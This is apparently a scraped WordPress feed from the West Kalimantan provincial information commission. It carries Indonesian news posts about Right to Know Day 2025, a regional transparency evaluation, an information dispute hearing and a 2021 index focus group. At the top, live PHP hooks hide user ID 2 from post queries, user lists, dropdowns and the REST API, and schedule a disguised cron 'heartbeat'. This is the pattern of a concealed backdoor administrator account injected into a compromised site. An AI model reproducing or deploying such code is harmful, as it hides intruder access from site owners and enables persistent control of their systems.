add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>
Seiring berjalannya waktu, gagasan ini terus berkembang dan semakin mendapat pengakuan. Pada 15 Oktober 2019, Majelis Umum Perserikatan Bangsa-Bangsa secara resmi menetapkan 28 September sebagai International Day for Universal Access to Information (Hari Akses Universal terhadap Informasi).
Data terbaru dari Information Commissioner of Canada menunjukkan bahwa lebih dari 140 negara telah mengadopsi undang-undang atau kebijakan yang menjamin hak warga untuk memperoleh informasi publik. Sebelumnya, pada tahun 2022, Article19.org menuliskan jumlah negara dengan UU akses informasi tercatat sekitar 126 negara menurut organisasi terkait hak atas informasi publik.
Angka-angka ini menggambarkan bahwa gerakan right to know bukan sekadar slogan, tetapi telah memasuki fondasi regulasi banyak negara, sebagai pilar demokrasi dan akuntabilitas.
Indonesia menjadi salah satu negara yang serius menegakkan hak atas informasi publik. Hal ini ditandai dengan lahirnya Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik (UU KIP), yang menjadi tonggak penting dalam sejarah demokrasi Indonesia. Melalui UU ini, setiap warga negara berhak memperoleh informasi publik, sementara badan publik memiliki kewajiban untuk menyediakan dan melayani akses informasi yang terbuka, cepat, dan akurat.
Selain itu, Indonesia juga memiliki Komisi Informasi di tingkat pusat maupun daerah, sebagai lembaga independen yang mengawal implementasi UU KIP. Berbagai upaya telah dilakukan, mulai dari sosialisasi, monitoring kepatuhan badan publik, hingga penyelesaian sengketa informasi. Peringatan Right to Know Day di Indonesia pun menjadi ruang refleksi sekaligus komitmen memperkuat prinsip good governance melalui transparansi, akuntabilitas, dan partisipasi publik.
Di Kalimantan Barat, Right to Know Day diperingati secara rutin oleh Komisi Informasi Provinsi Kalbar bersama masyarakat sipil, akademisi, dan badan publik. Peringatan ini tidak hanya menjadi acara seremonial, melainkan juga momentum edukasi publik tentang arti penting keterbukaan informasi.
Tahun 2025 ini, Komisi Informasi Provinsi Kalbar mengusung tema:
“Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera.”
Tema ini menggarisbawahi bahwa keterbukaan informasi tidak hanya menyangkut tata kelola pemerintahan, tetapi juga berhubungan erat dengan keberlanjutan lingkungan dan kesejahteraan masyarakat Kalbar. Dengan keterbukaan, masyarakat dapat memastikan tata kelola sumber daya alam dilakukan secara transparan, mencegah praktik korupsi, serta menjamin keadilan antar generasi.
Ketua Komisi Informasi Provinsi Kalbar M. Darusalam menyampaikan bahwa hak untuk tahu adalah hak untuk hidup lebih baik. “Keterbukaan informasi publik adalah fondasi bagi demokrasi yang sehat. Dengan keterbukaan, masyarakat dapat mengawasi jalannya pemerintahan, ikut serta dalam pengambilan keputusan penting, dan memastikan pembangunan yang berkelanjutan untuk Kalbar yang lebih sejahtera,” ujarnya.
Dengan semangat Right to Know Day 2025, Komisi Informasi Kalbar mengajak seluruh elemen masyarakat untuk tidak hanya memahami, tetapi juga mempraktikkan hak atas informasi publik dalam kehidupan sehari-hari. Semakin masyarakat berani menggunakan hak untuk tahu, semakin kuat pula pondasi demokrasi, transparansi, dan kesejahteraan di Kalimantan Barat.
Right to Know Day 2025 – Hak untuk tahu adalah hak kita semua!
The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Kabupaten/Kota se-Kalbar Paparkan Komitmen Transparansi Dalam Presentasi Monev Keterbukaan Informasi 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>
Kegiatan presentasi ini terbagi ke dalam tiga sesi dengan menampilkan tujuh kabupaten. Pada sesi pertama tampil Pemerintah Kabupaten Sekadau dan Sanggau, disusul sesi kedua oleh Pemerintah Kabupaten Kayong Utara dan Ketapang, serta ditutup sesi ketiga dengan presentasi dari Pemerintah Kabupaten Sintang, Melawi, dan Kapuas Hulu.
Sejumlah pimpinan daerah turut hadir dalam kegiatan ini, di antaranya Bupati Sanggau Drs. Yohanes Ontot, M.Si, Wakil Bupati Kayong Utara Amru Chanwari, Wakil Bupati Sintang Florensius Ronny, Wakil Bupati Melawi Malin, SH., serta Sekda Kapuas Hulu Drs. Mohd. Zaini, M.M. Mereka didampingi jajaran Dinas Komunikasi dan Informatika masing-masing, termasuk Kadis Kominfo Sanggau Joni Irwanto, Kadis Kominfo Sekadau Matius Jon, S.Pd., M.Si, Kadis Kominfo Ketapang Doni Andriawan, S.STP., M.E., Kadis Kominfo Kayong Utara Ronny Iswandi, Kadis Kominfo Sintang Drs. Paulinus, M.si., Kadis Kominfo Kapuas Hulu Hadi Pranata, S.STP., M.Si., dan dari Melawi yang membersamai pak wakil bupati ada Kabid Pengelolaan Informasi Publik dan Komunikasi Publik Konstantinus Borong, S.S. Selain unsur pemerintah, hadir pula observer dari eksternal, yakni Wapemred Ruai TV Pontianak Eva Caroline dan aktivis Lembaga ELPagar Fubertus Ipur.
Dalam penyampaiannya, para pimpinan daerah menekankan bahwa keterbukaan informasi adalah kunci membangun kepercayaan publik. Kadis Kominfo Sekadau, Matius Jon, menegaskan, “Transparansi mencegah kita melakukan korupsi.” Sementara itu, Kadis Kominfo Ketapang, Doni Andriawan, membawa pesan Bupati Ketapang bahwa “Pemerintah yang transparan adalah kunci kepercayaan publik dan kemajuan daerah. Keterbukaan adalah komitmen kami, gotong royong adalah kekuatan kami dalam membangun Ketapang yang lebih maju dan mandiri.” Hal senada juga ditegaskan Bupati Sanggau, Yohanes Ontot, yang menyatakan dukungan penuh terhadap keterbukaan informasi agar masyarakat memperoleh haknya atas informasi.
Dari unsur eksternal, Fubertus Ipur, aktivis Lembaga ELPagar, memberikan apresiasi kepada Komisi Informasi Kalbar atas penyelenggaraan presentasi Monev yang dinilai positif karena telah melibatkan berbagai unsur masyarakat sebagai observer, termasuk CSO dan mahasiswa. Ia menegaskan bahwa keterbatasan pemerintah kabupaten merupakan persoalan nyata, bahkan informasi kerap berpotensi menjadi alat pemiskinan struktural. “Tantangan utama adalah bagaimana menjadikan informasi sebagai penggerak untuk mendorong daerah agar lebih maju, transparan, serta mampu menghadirkan program pembangunan yang tepat berdasarkan data dan informasi yang akurat,” tegasnya.
Sementara itu, Eva Caroline, Wapemred Ruai TV Pontianak, menyampaikan apresiasi atas kepercayaan menjadi observer dalam kegiatan Monev keterbukaan informasi. Ia menekankan pentingnya Monev yang dilakukan Komisi Informasi agar benar-benar bermanfaat bagi lembaga publik dan masyarakat, karena masih banyak yang belum memahami hak keterbukaan informasi beserta payung hukumnya. “Strategi KI sudah baik dengan melibatkan pemerintah daerah, mengevaluasi, serta menyoroti capaian dan kekurangan. Namun saya berharap catatan hasil Monev tidak berhenti pada rekomendasi umum, melainkan ditindaklanjuti hingga ke level kebijakan yang implementatif, tepat sasaran, dan efektif,” ujarnya.
Dengan mengusung tema “Keterbukaan Informasi Publik, Menuju Kalbar Maju, Sejahtera, dan Berkelanjutan,” kegiatan ini menjadi momentum penting bagi pemerintah kabupaten/kota di Kalimantan Barat untuk memperkuat implementasi prinsip keterbukaan informasi publik. Lebih dari sekadar evaluasi, presentasi ini mencerminkan komitmen kolektif membangun pemerintahan yang bersih, terpercaya, serta berpihak pada kepentingan masyarakat luas.
Ketua Komisi Informasi Provinsi Kalimantan Barat M. Darusalam, menyampaikan harapan agar kegiatan presentasi ini dapat memperkuat komitmen para pimpinan daerah dan melahirkan inovasi nyata dalam pelayanan informasi publik. Dengan demikian, keterbukaan informasi dapat berfungsi sebagai instrumen penting untuk mewujudkan tata kelola pemerintahan yang baik serta memberi dampak positif bagi kesejahteraan masyarakat Kalbar.
The post Kabupaten/Kota se-Kalbar Paparkan Komitmen Transparansi Dalam Presentasi Monev Keterbukaan Informasi 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Komisi Informasi Kalbar Gelar Sidang Sengketa Informasi: Pemohon Neni Rusdiani Hadapi PN Singkawang appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Proses persidangan digelar dalam dua tahapan pada hari yang sama. Pagi hari dilaksanakan sidang pemeriksaan awal yang dipimpin oleh Majelis Komisioner: M. Darusalam (Ketua Majelis), bersama dua anggota, yakni Sabinus Matius Melano dan Lufti Faurusal Hasan. Pada tahap ini, majelis memeriksa sejumlah aspek mendasar, di antaranya kewenangan absolut dan kewenangan relatif, legal standing para pihak, serta ketepatan batas waktu pengajuan permohonan. Pemeriksaan awal ini menjadi fondasi penting untuk memastikan perkara dapat dilanjutkan sesuai koridor hukum dan peraturan yang berlaku.
Memasuki siang hari, sidang berlanjut dengan agenda ajudikasi. Dalam sesi ini, majelis komisioner mulai masuk pada substansi perkara dengan mendalami bukti dokumen yang diajukan baik oleh Pemohon maupun Termohon. Selain itu, majelis juga memberikan kesempatan kepada kedua belah pihak untuk menyampaikan keterangan lisan terkait sengketa informasi yang terjadi. Interaksi langsung ini menjadi ruang klarifikasi sekaligus penguatan argumentasi dari masing-masing pihak.
Setelah melalui dua tahapan tersebut, Majelis Komisioner kemudian menyatakan sidang diskors dan akan dijadwalkan kembali pada persidangan berikutnya. Skorsing dilakukan untuk memberi waktu kepada majelis dalam menelaah lebih lanjut dokumen serta keterangan yang sudah dipaparkan, sehingga putusan nantinya dapat diambil secara cermat, objektif, dan adil.
Sidang ini menunjukkan peran penting Komisi Informasi Provinsi Kalimantan Barat sebagai lembaga yang menjembatani masyarakat dan badan publik ketika terjadi sengketa informasi. Melalui mekanisme PSI, KI Kalbar menegaskan bahwa hak masyarakat untuk memperoleh informasi publik harus tetap dijamin, sekaligus mendorong badan publik agar semakin memperkuat prinsip transparansi, akuntabilitas, dan keterbukaan dalam pelayanan informasi.
The post Komisi Informasi Kalbar Gelar Sidang Sengketa Informasi: Pemohon Neni Rusdiani Hadapi PN Singkawang appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post FOCUS GROUP DISCUSSION (FGD) IKIP KALBAR 2021 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Penyusunan Indeks Keterbukaan Informasi Publik (IKIP) Provinsi Kalimantan Barat Tahun 2021 memasuki tahap pelaksanaan Diskusi Kelompok Terfokus/FGD bagi para Informan Ahli Daerah, Rabu (7/4) di Hotel Aston Pontianak.
Penyusunan IKIP Provinsi Kalbar ini untuk mendapatkan data, fakta, dan informasi serta upaya-upaya pemerintah Kalimantan Barat dalam melaksanakan kewajibannya terhadap Undang-Undang No 14 Tahun 2008 tentang Keterbukaan Informasi Publik, dimana IKIP mampu menggambarkan keadaan, kemajuan, proses, capaian, serta disparitas keadaan yang ada.
Diskusi kelompok terfokus dilakukan setelah proses wawancara terhadap 9 orang Informan Ahli (IA) selesai dilakukan. Sembilan orang IA tersebut terdiri dari 3 cluster, yang mewakili Unsur Pemerintah Daerah di Kalimantan Barat sebagai penyedia informasi, Unsur Masyarakat Sipil dan Unsur Pelaku Usaha sebagai pengguna informasi.
Informan Ahli Daerah Kalimantan Barat dari unsur pemerintah melibatkan Bupati Sanggau, Bupati Sintang, dan Kepala Bappeda Provinsi Kalbar; unsur masyarakat sipil terdiri dari Ketua PWI Kalbar, akademisi, dan praktisi hukum; sedangkan dari unsur pelaku usaha melibatkan ketua satu data Kalbar, dan 2 orang lagi pengusaha sukses di Kalimantan Barat.
The post FOCUS GROUP DISCUSSION (FGD) IKIP KALBAR 2021 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>